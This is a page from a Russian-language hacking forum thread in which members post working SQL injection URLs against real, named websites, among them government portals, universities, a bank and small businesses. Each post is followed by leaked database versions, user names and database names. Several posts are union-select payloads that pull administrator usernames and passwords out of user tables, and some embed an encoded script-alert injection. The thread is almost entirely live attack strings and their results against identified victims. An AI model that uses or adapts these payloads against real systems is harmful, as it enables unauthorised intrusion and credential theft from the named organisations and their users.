SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://art.dn.ua/news_one.php?news_id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    [email protected]:citysite:4.0.16
     
    2 people like this.
  2. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    dpl.gov.mp pr4
    Department of Public Lands
    Code:
    [COLOR=Olive]http://www.dpl.gov.mp/new/detailed.php?article_id=null UNION SELECT null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null[/COLOR]
    4.1.22-standard/mplagov@localhost/mplagov_mpla
     
    2 people like this.
  3. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    Code:
    http://joboteka.ru/ind.php?id_categ=74+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables--&tr=174
    Версия: 5.0.67-log

    Раскрытие путей...
    Code:
    http://joboteka.ru/ind.php?id_categ[]=53&tr=1
     
    1 person likes this.
  4. Slavuti4

    Slavuti4 Elder - Старейшина

    Joined:
    22 Jan 2009
    Messages:
    555
    Likes Received:
    482
    Reputations:
    124
    www.ckhi.com.ua
    ТИЦ:10
    PHP:
    http://www.ckhi.com.ua/showdir.php?dir_code=-25+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7
    Version():4.1.22-standard
    User():[email protected]
    Database():ckhi_db01



    www.buderotic.com
    ТИЦ:10
    PR:2
    PHP:
    http://www.buderotic.com/shop.php?type=-5+union+select+concat_ws(0x3a,version(),user(),database()),2,3
    Version():5.0.85
    User():buderoti_site@localhost
    Database():buderoti_buderotic



    www.centerpack.com.ua
    ТИЦ:60
    PR:2
    PHP:
    http://www.centerpack.com.ua/news.php?item_id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10
    Version():4.1.22-standard
    User():centerpa_r@localhost
    Database():centerpa_builder



    www.marlin-yug.com
    PR:4
    PHP:
    http://www.marlin-yug.com/shownews.php?news_id=-32+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7
    Version():5.0.67-community
    User():marlin_db1@localhost
    Database():marlin_db1
     
    6 people like this.
  5. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Code:
    http://www.business-region.com.ua/index_main.php?p=52&du=-5727 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --
    version || 4.1.22-standard-log
     
    2 people like this.
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    Русь-Банк-Урал

    http://www.kbdu.ru/page.php?p=1306+and+(select+substring(version(),1,1))=5

    банк!
     
    #10686 Rubaka, 21 Sep 2009
    Last edited: 21 Sep 2009
    4 people like this.
  7. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    http://las.arts.ubc.ca/las4/people.php?people=-6+UNION+SELECT+1,2,version(),4,5,6,7/*
    4.0.17-standard 2

    искал багу чисто изза названия домена..........
     
    2 people like this.
  8. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    stevens.usc.edu pr6
    USC Stevens Institute for Innovation
    Code:
    [SIZE=2][COLOR=Olive]http://stevens.usc.edu/playvideo.php?v=null union select null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null,null,null,null,null,null,null,null,null
    http://stevens.usc.edu/playvideo.php?v=null union select null,null,null,null,concat(user_login,0x2f,user_password,0x2f,users_levels_id),null,null,null,null,null,null,null,null,null FROM praxis_uscstevens.users limit 0,1[/COLOR][/SIZE]
    5.0.22/uscstevens@localhost/praxis_uscstevens
     
    #10688 Dyxxx, 21 Sep 2009
    Last edited: 22 Sep 2009
    3 people like this.
  9. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    263
    Likes Received:
    109
    Reputations:
    18
    пр5
    Code:
    http://www.ihm.gov.mo/en/about/news_detail.php?id=-27+UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5--
    ihmsql@localhost : ihm : 5.1.16-beta
    Code:
    http://www.sport.gov.mo/web/en/news/details.php?id=-1235+and+1=0+Union Select  1 ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
    idm@localhost : IDM2 : 4.0.27-standard-log
     
    #10689 Shadrin, 21 Sep 2009
    Last edited: 21 Sep 2009
    6 people like this.
  10. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    version()- 4.1.22-standard
    user() - marschen_marsche@localhost
    database() - marschen_iylpublisher
     
    2 people like this.
  11. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://adamov-web.ru/web.php?id=1+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3

    Database Version: 5.0.26-log
    Database name: vyazantiya
    User name: vyazantiya@localhost
     
    1 person likes this.
  12. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://rupeetalk.com/more_review.php?product_id=6&product_item_id=-15+union+select+concat_ws(0x3a3a,admin_id,name,email_id,password,roll_type)+from+rupee_admin_user+/*+&ext=gif&bank_id=17

    http://www.gumagumalu.com/recipes/recipe.html?rid=-2039+union+select+1,2,3,4,5,6,7,8,9,10,11+--+


    http://www.onlinerealtysales.com/p/p/reviews/more_review.php?review=-13692'+union+select+1,2,3,concat_ws(0x3a3a,id,level,username,password,email),5,6,7,8,9,10,11,12,13,14,15+from+lore_users+--+&site=1028160064

    http://www.swamijobs.com/showjob.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(0x3a3a,id,emp_id,uname,passwd,email,team,level,status,lastlogin,logincount),25,26,27+from+authuser+limit+3,1+--+
     
    3 people like this.
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://wminyc.org/event.php?id=-875+union+select+1,2,3,4,5,6,7,8,9,version(),1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,74/*
    Database Version: 4.1.25-Debian_mt1-log
    Database name: worldmusicinstitute_org_-_ucms
    User name: [email protected]
     
    2 people like this.
  14. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Version: 5.0.45-log
    Database Name: social1_swp09
    User: [email protected]
     
    2 people like this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    Code:
    http://www.cap-pr.de/web.php?id=80+UNION+SELECT+1,2,3,version(),5,6,7,8+LIMIT+1,1[CODE]
    Database Version: 5.0.51a-3ubuntu5.4
    Database name: db98448
    User name: U98448@localhost
     
    1 person likes this.
  16. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Code:
    http://www.s4c.co.uk/darllendafi/book_detail_e.php?id=1;select+cast(version()+as+int)
    PostgreSQL 8.3.3 64-bit on i386-pc-solaris2.10, compiled by /ws/on10-tools/SUNWspro/SS11/bin/cc -Xa
     
    1 person likes this.
  17. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    user() - [email protected]
    database() - mathsrevisio
    version() - 4.1.22-standard-log
     
    1 person likes this.
  18. Военный

    Военный New Member

    Joined:
    6 Feb 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    u43321@localhost
    u43321
    5.0.4
     
    #10698 Военный, 22 Sep 2009
    Last edited: 23 Sep 2009
    3 people like this.
  19. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    ney.be pr4
    Ney and Partners is a structural engineering consultancy
    Code:
    [SIZE=2]http://www.ney.be/en/fiche-projets.php?pid=null union select 1,2,3,concat_ws(0x207C20,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59
    http://www.ney.be/en/fiche-projets.php?pid=null union select 1,2,3,concat_ws(0x207C20,username,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59 from ney_be.users limit 0,1[/SIZE]
    5.0.45 | ney_be@localhost | ney_be
     
    3 people like this.
  20. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    Code:
    http://www.pingviini.fi/www/page.php?id=175+UNION+SELECT+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15+LIMIT+1,1/*
    Database Version: 4.1.20
    Database name: ilmari_pingviini
    User name: ilmari239@localhost

    Code:
    http://www.parlok.fi/www/page.php?id=38+UNION+SELECT+version(),2,3,4,5/*
    Database Version: 4.1.20
    Database name: ilmari_parlok
    User name: ilmari070@localhost
     
    #10700 Rubaka, 22 Sep 2009
    Last edited by a moderator: 23 Sep 2009
    3 people like this.
Thread Status:
Not open for further replies.